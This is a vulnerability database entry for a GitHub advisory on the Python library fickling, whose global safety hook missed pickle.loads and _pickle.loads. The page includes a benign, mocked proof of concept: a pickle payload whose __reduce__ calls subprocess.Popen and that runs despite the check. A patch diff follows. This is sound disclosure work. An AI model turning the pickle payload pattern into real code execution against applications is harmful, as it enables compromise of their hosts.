GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-WCCX-J62J-R448

Vulnerability from github – Published: 2026-03-04 21:30 – Updated: 2026-03-04 21:30
VLAI
Summary
Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked
Details

Assessment

The missing pickle entrypoints pickle.loads, _pickle.loads, and _pickle.load were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.

Original report

Summary

fickling.always_check_safety() does not hook all pickle entry points. pickle.loads, _pickle.loads, and _pickle.load remain unprotected, enabling malicious payload execution despite global safety mode being enabled.

Affected versions

<= 0.1.8 (verified on current upstream HEAD as of 2026-03-03)

Non-duplication check against published Fickling GHSAs

No published advisory covers hook-coverage bypass in run_hook(). Existing advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.

Root cause

run_hook() patches only: - pickle.load - pickle.Unpickler - _pickle.Unpickler

It does not patch: - pickle.loads - _pickle.load - _pickle.loads

Reproduction (clean upstream)

import io, pickle, _pickle
from unittest.mock import patch
import fickling
from fickling.exception import UnsafeFileError

class Payload:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (['echo','BYPASS'],))

data = pickle.dumps(Payload())
fickling.always_check_safety()

# Bypass path
with patch('subprocess.Popen') as popen_mock:
    pickle.loads(data)
    print('bypass sink called?', popen_mock.called)  # True

# Control path is blocked
with patch('subprocess.Popen') as popen_mock:
    try:
        pickle.load(io.BytesIO(data))
    except UnsafeFileError:
        pass
    print('blocked sink called?', popen_mock.called)  # False

Observed on vulnerable code: - pickle.loads executes payload - pickle.load is blocked

Minimal patch diff

--- a/fickling/hook.py
+++ b/fickling/hook.py
@@
 def run_hook():
-    pickle.load = loader.load
+    pickle.load = loader.load
+    _pickle.load = loader.load
+    pickle.loads = loader.loads
+    _pickle.loads = loader.loads

Validation after patch

  • pickle.loads, _pickle.loads, and _pickle.load all raise UnsafeFileError
  • sink not called in any path

Regression tests added locally: - test_run_hook_blocks_pickle_loads - test_run_hook_blocks__pickle_load_and_loads in test/test_security_regressions_20260303.py

Impact

High-confidence runtime protection bypass for applications that trust always_check_safety() as global guard.

Severity
8.9 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "fickling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T21:30:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Assessment\n\nThe missing pickle entrypoints `pickle.loads`, `_pickle.loads`, and `_pickle.load` were added to the hook https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7.\n\n# Original report\n\n## Summary\n`fickling.always_check_safety()` does not hook all pickle entry points. `pickle.loads`, `_pickle.loads`, and `_pickle.load` remain unprotected, enabling malicious payload execution despite global safety mode being enabled.\n\n## Affected versions\n`\u003c= 0.1.8` (verified on current upstream HEAD as of 2026-03-03)\n\n## Non-duplication check against published Fickling GHSAs\nNo published advisory covers hook-coverage bypass in `run_hook()`.\nExisting advisories are blocklist/detection bypasses (runpy, pty, cProfile, marshal/types, builtins, network constructors, OBJ visibility, etc.), not runtime hook coverage parity.\n\n## Root cause\n`run_hook()` patches only:\n- `pickle.load`\n- `pickle.Unpickler`\n- `_pickle.Unpickler`\n\nIt does not patch:\n- `pickle.loads`\n- `_pickle.load`\n- `_pickle.loads`\n\n## Reproduction (clean upstream)\n```python\nimport io, pickle, _pickle\nfrom unittest.mock import patch\nimport fickling\nfrom fickling.exception import UnsafeFileError\n\nclass Payload:\n    def __reduce__(self):\n        import subprocess\n        return (subprocess.Popen, ([\u0027echo\u0027,\u0027BYPASS\u0027],))\n\ndata = pickle.dumps(Payload())\nfickling.always_check_safety()\n\n# Bypass path\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n    pickle.loads(data)\n    print(\u0027bypass sink called?\u0027, popen_mock.called)  # True\n\n# Control path is blocked\nwith patch(\u0027subprocess.Popen\u0027) as popen_mock:\n    try:\n        pickle.load(io.BytesIO(data))\n    except UnsafeFileError:\n        pass\n    print(\u0027blocked sink called?\u0027, popen_mock.called)  # False\n```\n\nObserved on vulnerable code:\n- `pickle.loads` executes payload\n- `pickle.load` is blocked\n\n## Minimal patch diff\n```diff\n--- a/fickling/hook.py\n+++ b/fickling/hook.py\n@@\n def run_hook():\n-    pickle.load = loader.load\n+    pickle.load = loader.load\n+    _pickle.load = loader.load\n+    pickle.loads = loader.loads\n+    _pickle.loads = loader.loads\n```\n\n## Validation after patch\n- `pickle.loads`, `_pickle.loads`, and `_pickle.load` all raise `UnsafeFileError`\n- sink not called in any path\n\nRegression tests added locally:\n- `test_run_hook_blocks_pickle_loads`\n- `test_run_hook_blocks__pickle_load_and_loads`\n  in `test/test_security_regressions_20260303.py`\n\n## Impact\nHigh-confidence runtime protection bypass for applications that trust `always_check_safety()` as global guard.",
  "id": "GHSA-wccx-j62j-r448",
  "modified": "2026-03-04T21:30:16Z",
  "published": "2026-03-04T21:30:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-wccx-j62j-r448"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/commit/8c24c6edabceab156cfd41f4d70b650e1cdad1f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trailofbits/fickling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fickling has `always_check_safety()` bypass: pickle.loads and _pickle.loads remain unhooked"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.